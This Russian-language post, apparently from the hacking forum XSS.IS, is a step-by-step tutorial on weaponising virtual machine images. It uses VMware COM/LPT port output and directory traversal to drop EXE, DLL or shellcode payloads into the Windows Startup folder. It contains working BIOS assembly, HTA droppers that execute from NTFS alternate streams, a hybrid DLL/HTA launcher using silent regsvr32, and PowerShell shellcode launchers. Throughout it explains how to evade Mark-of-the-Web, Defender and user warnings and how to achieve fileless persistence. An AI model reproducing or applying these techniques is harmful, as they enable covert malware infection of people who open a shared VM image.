Уязвимость в VMWARE и других виртуальных машинах: продолжение. Делаем запуск EXE, DLL и шеллкода.

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: it_solutions
Специально для форума XSS.IS

Предыдущая часть здесь: https://xss.is/threads/98607/

Для начала видео работы эксплоита - запуск EXE файла, хранящегося внутри образа VMWARE
Видео находится в прикреплённом файле vmware_exploit_demo.gif

Внутри файла payloads_source_code.zip находятся исходники пейлоадов, рассмотренных в этой статье, а так же скомпилированные образы bios и дополнительные файлы c примерами работы.
Пейлоады не криптованные, поэтому на них может ругаться дефендер.

В прошлый раз мы сделали PoC эксплоит под VMWare, выводящий тестовый месседж бокс.
В данной статье мы соберём уже полноценный эксплоит, способный запускать небольшие EXE и DLL файлы размером в 4 Kb.
Кроме того, мы так же рассмотрим бесфайловый метод запуска через запуск шеллкода.
Эта статья так же будет интересна тем, кто интересуется бесфайловой малварью. По бесфайловой малвари в сети информации крайне мало и нет нормальных рабочих примеров.
В этой статье будет подробное объяснение с рабочими примерами, а так же интеграция бесфайлового метода запуска с VMWare эксплоитом.
В следующей статье будет разобран тот эксплоит, который представлен на видео. Он уже умеет запускать файлы произвольного размера.

Перед тем как начать, рассмотрим три новые важные дополнительные подробности по уязвимостям в виртуалках:

Данный эксплоит общий для большинства виртуалок, не только для VMWare

В большинстве виртуальных машин есть возможность выводить данные из компорта в отдельный файл.
VMWare просто первая попала под раздачу, потому что пользуюсь ей чаще всего.
Но в других виртуальных машинах (Virtual Box, Virtual PC, Parallels и т.д.) есть ровно та же самая проблема.
Различаются только способы реализации эксплоита, суть уязвимости одна и та же у всех.
Во всех этих виртуальных машинах не предусмотрена корректная обработка путей, в который сохраняется выходной файл.
Имя и расширение выходного файла может быть любым, оно никак не контроллируется. Так же не контроллируется путь, по которому сохраняется этот файл.
Например, во всех виртуалках можно задать имя файла с расширением *.exe и указать путь файлу как стандартную папку автозагрузки.
Если хотя бы к имени выходного файла автоматически добавлялось безопасное расширение, например *.txt, то такой массовой проблемы бы не было.
Эта уязвимость навряд ли будет исправлена в ближайшее время производителями виртуальных машин, если вообще будет когда-либо исправлена.

Directory Traversal в VMWare и Virtual Box

В процессе работы над запуском EXE из биоса VMWare выяснилась важная подробность - в путях VMWare и других виртуалок есть ошибка Directory Traversal.
Это расширяет возможности по эксплуатации уязвимости, которую мы сейчас рассматриваем.
Directory Traversal это ошибка интерпретации путей, в результате которой файл может закидываться в небезопасные области файловой системы, например в папку автозагрузки.
В основном этот тип ошибок актуален для архивов, последняя широко известная уязвимость где используется Directory Traversal это уязвимость в WinRar
Суть уязвимости заключается в следующем: прописываем в VMWare такой путь "../test.hta"

vmware_directory_traversal_1.png



И запускаем тестовый эксплоит. После запуска файл test.hta запишется на один каталог ниже текущего.
Как это можно использовать ?
Рассмотрим ситуацию, когда оbраз скачали в стандартную папку Downloads в zip архиве testvm.zip
Тогда, после распаковки архива, путь к образу будет

Код: Скопировать в буфер обмена
C:\Users\%USERNAME%\Downloads\TESTVM

Где %USERNAME% это имя текущего пользователя

Для того чтобы попасть в папку автозагрузки текущего пользователя мы пропишем такой путь: ..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.hta
Путь этот работает так: мы сделали дважды переход на каталог ниже, за это отвечает фрагмент пути "..\..\"
И в результате этого мы попадаем в корневую папку текущего пользователя: C:\USERS\%USERNAME%
Далее, относительно этой папки делаем переход в папку автозагрузки текущего пользователя.
Такой метод был использован в недавнем эксплоите для WinRar, который так же распаковывал файл в папку автозагрузки текущего пользователя.

В результате этого всего HTA файл будет закинут в папку автозагрузки текущего пользователя: C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\test.hta
Имя этой папки всегда будет открыто на запись, даже в том случае если мы запустились без админ прав.
При этом нам совсем не обязательно знать имя пользователя, доступ к папке мы получили без имени пользователя, рассчитав её местоположение относительно папки Downloads

Дополнительный способ в вопросе того, как рассчитать закидывание пейлоада в нужную папку. Как вариант решения проблемы, если вдруг запустились не из-под админа и общая папка автозагрузки закрыта на запись.

VMWare запускается всегда под админ правами, поэтому для неё мы всегда выбираем вариант закидывания пейлоада в общую папку автозагрузки, для записи в которую нужны админ права.
Directory Traversal больше актуален для Virtual Box, так как он может запуститься как под админом, так и под текущим пользователем. И общая папка автозагрузки в этом случае может там быть недоступна на запись.

Ещё одна сходная уязвимость в виртуалках: LPT порт

LPT (Line Print Terminal) это порт, похожий на COM (от слова COMmunications), но работающий с более высокой скоростью.
Его ещё называют "принтерным" портом, потому что раньше он часто использовался для подключения принтеров, что отражено в названии. В отличии от COM (коммуникационных портов), которые часто использовались для модемов.

В виртуалках для LPT портов существует ровно такая же проблема как и для COM-портов. Так же можно организовать вывод данных в отдельный файл, и так же пути и имена файлов никак не контролируются.
Всё то же самое что и с COM портом, отличия только в реализации эксплоита - программируем не COM порт, а LPT порт.

Для нашего VMWare эксплоита скорость работы портов имеет важное значение. Низкая скорость работы COM порта создаёт паузу при передаче крупного EXE файла. Эта проблема видна на видео, которое демонстрирует работу эксплоита. Там есть задержка между запуском образа и срабатыванием.

Берём стандартный для тестов эксплоитов файл putty.exe
Этот файл часто используется для подобных тестов по той причине, что структурно он очень похож на малварь - имеет сходный размер, написан на C++, убраны зависимости, выполнен в виду stand-alone exe который нетаскает за собой кучу DLL файлов и т.д.
Максимально возможная скорость работы COM порта составляет 115200 бод (бит в секунду), делим на 8 получаем 14400 байт в секунду. А сам файл putty.exe занимает примерно 800 Kb. Получаем скорость закидывания этого файла через COM-порт в папку автозагрузки примерно в одну минуту.
Это серъёзный недостаток для работы эксплоита через COM-порт.
Поэтому для демонстрационного эксплоита я использовал аналогичный тестовый файл dbgview.exe, отличающийся только меньшим размеров по сравнению с putty.exe
После паковки размер этого файла составляет чуть менее 200 Kb, и время передачи через COM-порт около 12 секунд.

Параллельный порт, в отличие от последовательного порта, отличается существенно большей скоростью работы. Это достигается тем, что он за одну передачу способен отправить сразу 8 бит данных (параллельно отправить 8 бит, что отражено в названии).
В отличие от компорта, который отправляет данные последовательно, очередью, бит за битом.
При использовании LPT порта можно существенно увеличить скорость закидывания файла в папку автозагрузки.
Этот вопрос будет прорабатываться при дальнейшей разработке и улучшении эксплоита. В последующих статьях будет показано решение проблемы низкой скорости передачи данных.

vmware_parallel_port_vulnerability.png



На скриншоте изображены настройки LPT порта в VMWare, видна та же проблема что и с COM-портом: нет контроля безопасности путей и имён файлов.

Переходим к запуску EXE, DLL или шеллкода, сохранённого внутри образа VMWare

В прошлой части мы собрали PoC вариант эксплоита, сбрасывающего короткий тестовый hta файл в папку автозагрузки. Единственное что делал этот тестовый файл это вывод месседжбокса. В данной статье мы соберём уже полноценный эксплоит, свособный запускать EXE и DLL файлы небольшого размера.

Техника запуска EXE и DLL файла будет отличаться. С EXE файлом всё просто - просто сохраняем в bios.rom его точную копию и закидываем его оттуда в папку автозагрузки.
С DLL файлом дело обстоит сложнее, нужен будет какой-то промежуточный файл, который через командную строку запустит DLL. Таким очень удобным промежуточным файловым форматом являются HTA файлы.
Именно поэтому *.hta файл использовался в качестве тестовой нагрузки в PoC варианте эксплоита. Смогли запустить HTA файл, значит можем через него запустить и DLL файл.
Также рассмотрим вариант, когда пейлоад идёт в формате шеллкода. Таким образом, в данной статье мы рассмотрим запуск все трёх основных форматов пейлоадов.

Первый вариант эксплоита: сброс EXE файла в папку автозагрузки

Для запуска EXE будет использоваться тот же файл bios.rom, но с некоторыми исправлениями и дополнениями.
Дополнение первое: в предыдущей версии bios.rom у нас была процедура отправки ASCIIZ строки в компорт. Теперь нам нужна процедура отправки массива байт в компорт.
На входе эта процедура получает в регистре SI указатель на EXE пейлоад в виде массива байт, а в регистр CX помещается его длина.
Следует отметить, что код BIOS 16-битный, следовательно регистр CX то же 16-битный и в него помещается максимум 2^16=65535 байт
Следовательно, с этой процедурой отсылки пейлоада в компорт мы ограничены размером EXE-пейлоада максимум в 65535 байт.

Код: Скопировать в буфер обмена
Код:
            ; Подпрограмма отсылки массива байт в компорт
            ; CX=количество символов
            ; SI=указатель на начало массив байт

            send_byte_array:
                lodsb
                or    cx, cx
                jnz      write_byte
                jmp      sp
            write_byte:
                shl    esp, 0x10
                mov    sp, $+5
                jmp    putchar
                shr      esp, 0x10
                dec    cx
                jmp    send_byte_array

У скачанного архива и распакованных файлов образа будет так называемая MOTW-метка. MOTW это сокращение от Mark-Of-The-Web, то есть пометка о том, что файл был скачан через интернет.
Windows Defender особенно пристально проверяет такие файлы, а так же при запуске такого файла проодник Windows буцдет выдавать дополнительные предупреждения о небезопасном содержимом,
даже если файл будет заведомо чистым. Выглядит эта метка как дополнительный NTFS поток, прикреплённый к каждому скачанному через интернет файлу. Увидеть эти метки можно набрав в
командной строке команду "dir /r", dir - это вывести файлы в текущем каталоге, параметр "/r" - отображать файлы с присоединёнными к ним NTFS потоками. Так выглядит заражённый образ VMWare
после скачивания и отображения его командой "dir /r"

motw_label_1.png



У каждого скачанного файла виден дополнительный поток с именем ":ZoneIdentifier:$DATA", на скриншоте он обведён зелёным цветом.
Содержимое этого файла выглядит так:

motw_label_content.png



ZoneId=3 обозначает что файл скачан через интернет, то есть заведомо небезопасный источник.
Если у исполняемого файла будет подобная метка то его, как правило, уже нормально не запустить.
На попытку запуска любого исполняемого файла с таким содержимым проводник Windows выдаёт кучу предупреждений, что сделало распространение исполняемых файлов в архивах бессмысленной задачей.
В результате этого начался переход на альтернативные файловые форматы, например запуск exe через промежуточный HTA файл, чтобы обойти метку MOTW. Или запуск с удалённой расшаренной папки, и
тому подобные методы для обхода MOTW меток. Метка MOTW создала много проблем, из-за неё резко снизилась популярность EXE формата, многие стали переходить на формат пейлоада в DLL.
Но в нашем случае мы снова можем напрямую использовать EXE формат файла - на созданном в автозагрузке файле нет никаких меток.

В нашем случае исполняемый файл создаёт VMWare, и с браузером он никак не связан - поэтому проблемы MOTW меток для нас теперь не существует.
Да, метка будет на zip архиве с эксплоитом и распакованных из этого zip архива файлах. Но не на самом пейлоаде.
Поэтому не нужно возиться с цифровыми подписями EXE и прочими ухищрениями, чтобы обойти дефендер и дополнительные вопросы пользователю о небезопасном содержимом.
Если мы этот же тестовый EXE файл, например, скачаем через хром в ZIP архиве то он не дойдёт даже жо папки Downloads - его отловит хром при попытке скачивания и выдаст предупреждение об опасном файле.
Если дойдёт до распаковки, то после распаковки EXE файл удалит дефендер. Если даже случиться чудо и он дойдёт до пользователя, то пользователю будет показано куча предупреждений об опасности.
В нашем случае подобный подозрительный EXE файл спокойно записывается в папку автозагрузки, и после запуска не выдаётся никаких посторонних сообщений о небезопасном содержимом.

Как подключать пейлоады различных форматов в ASM файле

Сделаем замену пейлоада в bios.asm на примере тестового EXE файла.
Наша задача состоит в том, чтобы создать отдельный подключаемый ассемблерный файл *.asi, в котором будет храниться точная побайтовая копия нашего пейлоада.
Она там будет записана в виде директив "db" (сокращение от define byte, определить байт).
Каждая директива db резервирует ровно один байт с определённым заданным значением, по тому месту где она указана в программе.
Последовательность этих директив сохранит побайтово образ нашего пейлоада в скомпилированном файле bios.rom
Сгенерируем такой файл, используя только встроенные в windows средства, без написания отдельных утилит для этой цели.
Берём тестовый EXE файл и вводим команду:

Код: Скопировать в буфер обмена
certutil -encodehex testfile.exe payload_exe.asi

На входе мы задаём наш пейлоад testfile.exe, на выходе получаем файл payload_exe.asi, содержащий шестнадцатеричный дамп файла testfile.exe
Выглядит этот файл как стандартный дамп программы, в котором много лишней для нас информации:

certutil_generate_asi.png



Нам его нужно отредактировать, приведя строки в тот формат, который понимает компилятор ассемблера.
Тогда каждая строка:

Код: Скопировать в буфер обмена
0000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
Должна будет преобразована в такую строку:

Код: Скопировать в буфер обмена
db 04Dh,05Ah,090h,000h,003h,000h,000h,000h,004h,000h,000h,000h,0FFh,0FFh,000h,000h

То есть адрес в начале строки заменяем на слово "db", к каждому числу добавляем в начале символ "0" и в конце символ "h". Вместо пробелов ставим запятую между числами.
И удаляем ASCII представление в конце строки.
Для небольших файлов мы можем обойтись подручными средствами, но для более крупных файлов, в сотни килобайт размером, нам понадобится отдельная утилита для перевода пейлоада в asm формат.

Файлы для этого варианта пейлоада находятся в папке vmware_bios_exe_payload
Файл bios_exe.asm - это исходник кастомного биоса bios.rom, подключаемого к образу vmware.
payload_exe.asi - файл в котором хранится наш exe пейлоад, прописан в bios_exe.asm
file.exe - это тестовый пейлоад, показывающий месседжбокс и запускающий калькулятор

vmware_bios_exe_view.png



На рисунке показан вид кастомного биоса, сбрасывающего exe файл в атозагрузку. В начале виден код биоса, который работает с компортом, и сразу за ним идёт EXE файл.

Второй вариант: запуск DLL. Использование для этого HTA файла

Для начала рассмотрим, что представляют собой HTA файлы. HTA рассшифровывается как Hyper Text Application. HTA приложения представляют собой HTML страницу с VBS и JS скриптами внутри.
Особенность этих VBS скриптов в том, что они могут работать через платформу WSH (Windows Scripting Host). Из этой платформы нас интересуют операции для работы с файлами, возможность
запускать программы с параметрами, скачивание файла и тому подобные вещи. Если такой скрипт вызвать, например, из файла с расширением html, то тогда будет выдано сообщение об опасном
содержимом. Но при вызове подобных опасных скриптов из HTA файлов система безопасности Windows не выдаёт никаких предупреждений.

Теперь о том, как хранить двоичный файл внутри HTA файла. Наиболее распространённый способ состоит в использовании метода CreateTextFile объекта FileSystemObject.

Код: Скопировать в буфер обмена
Код:
                    Set fs = CreateObject("Scripting.FilesSstemObject")
                    Set exeFile = fs.CreateTextFile("testdll.dll")
                    exeFile.Write(binaryData)

Несмотря на то, что метод называется CreateTextFile он позволяет записать не только текстовые данные, но и двоичные. Достигается это следующей процедурой:

Код: Скопировать в буфер обмена
Код:
                    Function h(e)
                    For s = 1 To Len(e) Step 2
                    h = h & Chr(Asc(Chr("&h" & Mid(e, s, 2))))
                    Next
                    End Function

Процедура на входе получает строку из последовательности шестнадцатеричных чисел. Рассмотрим например строку из первых четырёх байт EXE файла "4D5A00FF"
На каждом шаге цикла мы берём из строки по два символа и приписываем к ним символ "&" - в Visual Basic это обозначение шестнадцатеричного значения.
Получаем для каждого байта строку такого вида: "&XX" где XX это шестнадцатеричное значение байта.
После этого передаём эту строку функции Chr, которая переведёт эту строку в байт.
Полученный байт помещаем в массив, которая возвращает эта функция.
Пример использования этой функции: запись первых четырёх байт EXE файла:

Код: Скопировать в буфер обмена
exeFile.Write(h("4D5A00FF"))

Недостатки этого метода:

1. На каждый байт исходного файла мы используем 2 байта из набора символов [0-9][A-F]. Поэтому размер HTA файла будет равен, как минимум, размеру EXE файла умноженному на два, плюc сам размер HTA скрипта.

2. Используется опасный с точки зрения AV детектов объект FileSystemObject и его метод CreateTextFile

3. Нужно писать утилиту, переводящую EXE файл в набор строк из двухбайтовых последовательностей шестнадцатеричных символов

При небольшой длине EXE файла (как в нашем случае 2 Kb размером) перевести EXE в строку из последовательностей шестнадцатеричных символов можно подручным средствами.
Делается это утилитой командной строки certutil, встроенной в windows. Набираем в командной строке: b

Код: Скопировать в буфер обмена
certutil -encodehex test.exe encoded_hex.txt

После чего получаем в файле encoded_hex.txt шестнадцатеричный дамп файла test.dll в текстовом виде.

Удаляем из этого текстового дампа всё лишнее: нумерацию в начале строк, текстовое ASCII представление байт в конце каждой строки и пробелы между шестнадцатеричными числами.
Редактируем и получаем примерно следуюющее:

Код: Скопировать в буфер обмена
4d5a90000300000004000000ffff0000 ...

Такие текстовые последовательности символов уже можно передавать функцию перевода шестнадцатеричных строк в байты, представленную выше. Так же данная встроенная в windows
команда certutil очень полезна в написании пейлоадов. Кроме только что приведённого примера с конвертацией файла в последовательность шестнадцатеричных строк, она умеет
делать такие операции как кодирование/декодирование base64 данных, скачивание файлов с удалённого хоста и много другое. В пейлоаде нам не нужно писать дополнительные процедуры
для всего этого, а значит будет меньше сигнатур для антивирусных программ, или, говоря другими словами, этим мы сокращаем поверхность детектирования антивирусными средствами.

Теперь о том, как запустить файл, который мы только что расшифровали из шестнадцатеричной строки.
Стандартный метод заключается в том, что мы получаем путь к временной папке через переменную окружения %TEMP%, создаём во временной папке файл %TEMP%\somefile.exe и запускаем его.
Этот метод прост, но очень плох тем что сильно заметен. Оставляя лишние файлы в папке мы сильно демаскируем эксплоит.
Опытный пользователь, зайдя в папку %TEMP% и отсортировав там файлы по дате создания, легко увидит только что созданный нами EXE файл.

Есть более скрытный метод записи, основанный на NTFS потоках.
В файловой системе NTFS к любому файлу можно приписать дополнительный поток, обратившись к имени файла таким образом: somefile.hta:somestream1, somefile.hta:somestream2 и т.д.
Через двоеточие пишется имя дополнительного файлового потока.
В этих потоках файловая система хранит различную дополнительную метаинформацию о файле, например MOTW метку, расмотренную в этой статье.
Увидеть эти файловые потоки нелегко, из стандартных средств Windows это можно сделать командой "dir /r", либо скачав утилиту streams из комплекта sysinternals.
В проводнике их точно не получится увидеть, для обчного пользователя такой метод будет абсолютно незаметен.
И что самое важное, это то что в этих потоках можно размещать исполняемые файлы.
Рассмотрим следующую команду:

Код: Скопировать в буфер обмена
type file.exe>test.hta:TestStream

Эта команда создаёт в файле test.hta поток с именем TestStream и копирует туда файл file.exe
Такой командой можно скопировать файл в дополнительный поток.
Команда type это команда вывода содержимого файла на экран, символом ">" мы перенаправляем вывод этой команды в файловый поток с именем "test.hta:testStream"
Стандартная команда copy не умеет работать с потоками, копирование делается неочевидной для этих целей командой - командой содержимого вывода файла на экран.
Увидеть только что созданный поток можно набрав команду "dir /r"

Из hta скрипта то же можно работать с потоками. Например, запись в дополнительный поток файла из которого мы стартовали, будет выглядеть так:

Код: Скопировать в буфер обмена
Код:
                        set f=CreateObject("Scripting.FilesystemObject")
                        set a=f.CreateTextFile(location.pathname+":TestStream")
                        a.close

В location.pathname хранится путь к текущему скрипту, и к нему добавлено через двоеточие имя потока "TestStream"
Далее сохраняем в этот поток командами Write содержимое нашего исполняемого файла, как было показано ранее.
После того, как мы сохранили EXE в дополнительный файловый поток, делаем его запуск оттуда.
Делается это так:

Код: Скопировать в буфер обмена
CreateObject("WScript.Shell").Exec(location.pathname+":TestStream")

На что нужно обратить в этой строке внимание:

1. Расширение исполняемого файла exe указывать необязательно, запустится и без него
2. У WScript.Shell есть два метода файлов: Exec и Run. С файловыми потоками умеет работать только метод Exec
3. Дефендер проверяет дополнительные файловые потоки только в том случае, если файл ему покажется подозрительным. Это означает, что если запустился HTA файл и его не бокировал дефендер, то запустится и EXE из дополнительного файлового потока.

В коде BIOS всегда мало места, мы вынуждены экономить каждый байт, поэтому нам нужно найти другой метод хранения пейлоада, вместо набора строк из шестнадцатеричных символов.
С тестовым EXE файлом, который мы используем сейчас, вполне будет работать и только что показанный метод шестнадцатеричных строк - закодированный в строки EXE файл будет занимать вcего лишь примерно четыре килобайта вместо двух.
Этого вполне хватит чтобы разместить его в памяти BIOS. Данный способ хранения EXE подойдёт для лоадеров и прочих мелких EXE.
Но если мы используем более крупные, файлы то у нас должно быть и другое решение.

Второй метод заключается в том, что EXE/DLL файл записывается в конце hta файла, и скрипт внутри HTA файла считывает оттуда hta файл и запускает его.
Преимущество этого метода в том, что сильно уменьшается итоговый размер HTA файла, за счёт того что не используется побайтового текстового
шестнадцатеричного представления данных, как в предыдущем способе. Недостатком метода является то, что EXE/DLL файл лежит в HTA скрипте в открытом виде.

Рассмотрим следующий HTA скрипт:
Код: Скопировать в буфер обмена
Код:
                    <script>
                    1: var e = location.pathname;
                    2: var fs=new ActiveXObject("scripting.filesystemobject");
                    3: var fil=fs.getfile(e);
                    4: x=fil.openastextstream().read(fil.size).substr(467,2048);
                    5: var e = location.pathname.toLowerCase().replace(".hta",".dll");
                    6: var fso=new ActiveXObject("scripting.filesystemobject");
                    7: ts=fso.createtextfile(e);
                    8: ts.write(x);
                    9: ts.close();
                    10: var x=new ActiveXObject("wscript.shell");
                    11: x.exec("regsvr32 "+e)
                    12: self.close();
                    </script>

Этот скрипт извлекает EXE/DLL файл, записанный в конце HTA файла. Такой файл мы собираем в командной строке следующей командой:

Код: Скопировать в буфер обмена
copy /b test.hta+test.dll result.hta

Здесь параметр "\b" означает что файлы нужно интерпретировать как двоичные файлы (бинарное копирование, "b" это сокращение от binary),
а не как текстовые данные.
"test.hta+test.dll" - этот фрагмент указывает на то, что последовательно объединяются два файла: test.hta и test.dll, в том порядке следования к котором они указаны.
В итоговом файле первым будет hta скрипт, и сразу за ним в конце за скриптом будет лежать exe файл. Результат сохраняется в файле result.hta

Этот скрипт сам определяет имя файла из которого он запустился, делает это он командой location.pathname и сохраняет путь к скрипту в переменной "e".
Второй строчкой мы создаём экземпляр объекта FileSystemObject для того чтобы получить доступ к функциям для работы с файлами.
Третьей строкой, используя метод getfile из объекта FileSystemObject, мы целиком считываем файл из которого стартовали в массив с именем "x".
Четвёртой строкой мы извлекаем из этого массива срез, начало среза 467 байт от начала файла и 2048 байт длина среза.
Этот срез массива будет содержимым EXE/DLL файла, записанного внутри него.
467 байт - это позиция EXE/DLL файла в HTA скрипте, 2048 байт это размер EXE/DLL файла.

На пятой строке мы получаем имя EXE/DLL файла, в который мы далее сохраним только что извлеченный из HTA скрипта EXE/DLL файл.
Просто берём текущее имя скрипта, и заменяем у него расширание на ".DLL"
Строки с 7 по 9 это запись в файл извлеченного из скрипта EXE/DLL.
Оставшиеся строки с 10 по 12 это запуск этого файла системной командой regsvr32.
Последняя команда self.close() закрывает окно HTA скрипта по завершению его работы, для того чтобы не показывались посторонние данные.

[h]Комбинированный (гибридный) HTA/DLL файл[/h]

Третий метод заключается в том, что можно значительно укоротить размер HTA скрипта, собрав "гибридный" DLL/HTA файл.
Этот HTA файл выглядит как комбинация DLL файла, идущего первым, и HTA скрипта, записанного в конце файла.
Такой файл может загружаться и как DLL, и в то же время если его переименовать в *.hta, то он запустится как HTA скрипт.

Решение будет заключаться в особенностях того, как Windows парсит HTA файлы. Выполним в командной строке следующую команду:

Код: Скопировать в буфер обмена
copy /b test.dll+test.hta result.hta

Эта команда побайтно скопирует нашу тестовую DLL, и в самом её конце запишет наш hta файл со скриптом.
В result.hta мы получили комбинированный файл, который может работать и как DLL, и как HTA скрипт.

Содержимое файла result.hta будет:

Код: Скопировать в буфер обмена
Код:
                        <script>
                            alert("Test payload");
                        </script>

То есть там просто скрипт, выводящий тестовое сообщение, чтобы убедится в работоспособности hta файла.

Если мы переименуем result.hta в result.dll и запустим его, например, командой "regsvr32 result.dll", то без проблем запустится наша тестовая DLL, несмотря на то что в конце файла записаны посторонние данные.
Загрузчик Windows просто проигнорирует эти данные (наш HTA скрипт) и DLL загрузится как ни в чём не бывало. В то же время, если в проводнике дважды кликнуть на файл result.hta он сработает как HTA
файл, и выведет на экран теcтовое сообщенние:

combined_hta_dll_demo.png



На рисунке мы видим выведенное тестовое сообщение, говорящее о том, что скрипт внутри HTA файла нормально отработал. Так же мы видим внутри окна HTA приложения содержимое DLL файла.
Отсюда делаем вывод: парсер HTA файлов извлекает из потока данных теги не обращая внимания на тот факт, что поток данных является не текстом, а байтами с кодом программы DLL файла.
Это даёт возможность комбинировать исполняемые DLL и EXE файлы с HTA скриптами.
Храня файл таким способом мы как минимум вдвое сократили объём хранимых данных внутри HTA файла, по сравнению с самым первым способом.

Далее речь пойдёт о том, как эти данные данные извлечь из HTA скрипта, записать в EXE/DLL файл и запустить. Делается это следующими пятью строками:

Код: Скопировать в буфер обмена
Код:
                            <script language=vbscript>
                            Set w=CreateObject("WScript.Shell")
                            w.Run"regsvr32 """+location.pathname+""" /s"
                            close
                            </script>

Первая строка открывает тег скрипта и указывает язык на котором написан скрипт - vbscript
Вторая строка это получение доступа к командной строке через предназначенный для этого объект под именем "WScript.Shell", третья строка это вызов метода Run, позволяющий запускать командные строки.
location.pathname здесь обозначает полный путь к скрипту, из которого мы стартовали.
Фрагмент строки " /s" это параметр команды regsvr32, указывающий на то, чтобы regsvr32 не выводил никаких посторонних сообщений. Символ "s" от слова silent, то есть обозначает тихий режим работы.
Без этого параметра regsvr32 выведет на экран вот такое постороннее сообщение:

regsvr32_undesirable_message.png



На рисунке зелёным цетом обведена команда без параметра "/s", красным обведёно постороннее сообщение, которое выводит regsvr32 по завершению работы нашей тестовой DLL.


Таким образом, этими командами мы получаем доступ к командной строке Windows, и с помощью командной строки нам уже будут доступны множество операций: копирование файлов, запуск и т.д.
Команда "regsvr32 <filename.hta>" как ни в чём не бывало воспримет как DLL тот HTA файл, из которого мы стартовали, и после запуска этой команды мы увидим тестовое сообщение из DLL.
Команда Close в самом конце закрывает текущее окно HTA приложения по окончанию работы скрипта.

Делаем вышеприведённый код ещё компактнее. Так как нам объект WScript.SHell нужен всего лишь для одной операции, для запуска файла, нам совсем не нужно сохранять его в переменную w.
Вместо этого мы сразу после создания объекта вызовем метод Run, написав так: CreateObject("WScript.Shell").Run"тут_командная_строка"
Отсутствие пробела между Run и командной строкой не опечатка, парсер vbscript воспринимает такую запись как корректную.
В Visual Basic предусмотрен построчный разделитель ":", он воспринимается интерпретатором бейсика как переход на новую строку.
В результате этого появляется возможность написать всю программу одной строкой, заменив все переводы строк на двоеточие.
Между тегами перевод строки то же необязателен, поэтому весь скрипт можно записать одной строкой. В конечном итоге это быдет выглядеть вот так:

Код: Скопировать в буфер обмена
<script language=vbscript>CreateObject("WScript.Shell").Run"regsvr32 """+location.pathname+""" /s":close</script>

Мы получили очень компактный пускатель DLL из среды MSHTA, всего лишь 113 байт размером.
Сохраняем этот скрипт в dll_starter.hta и выполняем в командной строке:

Код: Скопировать в буфер обмена
copy /b test.dll+dll_starter.hta run_dll.hta

В результате мы получаем в run_dll.hta гибридный DLL/HTA файл. Он может работать как DLL и запускаться командой regsvr32. В то же время, он может запускаться и как HTA файл.
При этом, запустившись как HTA файл, он запустит DLL, сохранённую внутри себя.
Этот HTA файл, будучи созданным эксплоитом в общей папке автозагрузки, после следующей загрузки компьютера будет выполнен проводником Windows.


Наиболее продвинутый вариант: запуск шеллкода

Это самый продвинутый вариант пейлоада, потому что с ним можно организовать бесфайловый вариант работы (fileless mallware).
Так же, как и с случае с DLL, нам нужен будет промежуточный файл, который запустит шеллкод. Для этого мы используем BAT/CMD формат.

Наш пускатель шеллкода будет работать через powershell, и представлять собой он будет одну длинную командную строку такого вида:

Код: Скопировать в буфер обмена
powershell -enc <тут_будет_powershell_скрипт_закодированный в base64>

Эту командную строку мы помещаем либо в *.bat файл, либо в *.cmd файл. Этот файл VMWare эксплоит закинет в папку автозагрузки, и при следующей загрузке windows выполнится эта закодированная powershell команда.
Мы не используем файлы повершелла *.ps1, чтобы вызывать powershell напрямую, минуя командную строку windows. Потому что запуск powershell скриптов по умолчанию запрещён.
Поэтому мы вызываем powershell скрипт опосредованно, через BAT/CMD файлы.

Единственный файл в котором будет содержаться шеллкод это BAT/CMD файл в автозагрузке, он нужен только для первого запуска.
Далее запуск шеллкода будет присутствовать на компьютере только в форме командной строки, которую мы запишем в одно из мест автозагрузки, например в стандартном для этих целей разделе реестра "CurrentVersion\Run"
И поэтому шеллкод в виде файла на компе храниться нигде не будет - примерно таков вкратце принцип работы безфайлового вируса (fileless malware).
Сейчас мы ограничимся только запуском тестового шеллкода, без закрепления в системе через прописывание командных строк в областях автозагрузки.
Или в других местах, откуда они могут быть вызваны при выполнении определённых действий (например при вызове справки по нажатию кнопки F1).

Fileless method (безфайловый метод) это такой способ установки в систему, когда вообще не используются DLL/EXE файлы в чистом виде.
Да, сам софт будет в DLL/EXE формате, но он не будет никогда сохраняться на диске в виде исполняемого файла.
EXE/DLL файл будет загружаться в память шеллкодом, и хранится внутри шеллкода в шифрованном виде. А сам шеллкод, в свою очередь, будет запускаться скриптом, написанным на powershell.

В данной статье мы рассмотрим запуск тестового шеллкода, просто выводящего месседжбокс на экран.
Запуск EXE/DLL файла из шеллкода это тема отдельная и обширная, по ней планируется отдельная статья.
Так же тестовый шеллкод в данной статье работает только на 64 битной Windows, на 32 битных версиях он выдаст ошибку.
Шеллкод может быть кросплатформенным. Его можно организовать так, чтобы он работал как в 32 битной так и в 64 битной среде. Это так же будет рассматриваться в следующей статье.


Как запустить шеллкод из Powershell скрипта

Для тестов мы будем использовать стандартный тестовый 64-битный шеллкод, выводящий на экран тестовый месседжбокс.
Этот шеллкод представляет собой двоичный bin файл размером 370 байт, его можно найти в папке vmware_bios_shellcode_payload под именем shell64.bin
Наша задача состоит в том, чтобы запустить это файл средствами повершелл.
Решение заключается в том, что шеллкод можно запускать с помощью вызова WinAPI функций, которые поддерживают коллбеки.
Коллбек - эта функция обратного вызова, при вызове такой API передаётся указатель на дополнительную функцию обработки данных.
Одной из таких API является системная функция EnumWindows.
Её формат вызова на C++ выглядит так:

Код: Скопировать в буфер обмена
Код:
                        BOOL EnumWindows(
                             [in] WNDENUMPROC lpEnumFunc,
                               [in] LPARAM      lParam
                        );

Эта функция перечисляет все окна в системе и при нахождении каждого окна передаёт управление на коллбек функцию, которая должна обработать информацию о найденном окне.
Идея состоит в том, что вместо коллбек функции мы разместим там наш шеллкод. API вызов будет выглядеть так: EnumWindows(our_shell_code, 0);
Также стоит отметить, что функция EnumWindows не единственная подходящая для этих целей. Есть и другие, вот далеко не полный список:

Код: Скопировать в буфер обмена
Код:
                               EnumTimeFormats(A,W)
                               EnumDesktopWindows
                                    EnumDateFormats(A,W)
                               EnumChildWindows
                               EnumThreadWindows
                               EnumSystemLocales
                               EnumSystemGeoID
                               EnumSystemLanguageGroups(A,W)
                               EnumUILanguages(A,W)
                               EnumSystemCodePages(A,W)
                               EnumDesktopsW
                               EnumSystemCodePagesW

Список взят отсюда: https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection - там для каждой из вышеперечисленных WINAPI функций сделан пример вызова шеллкода.
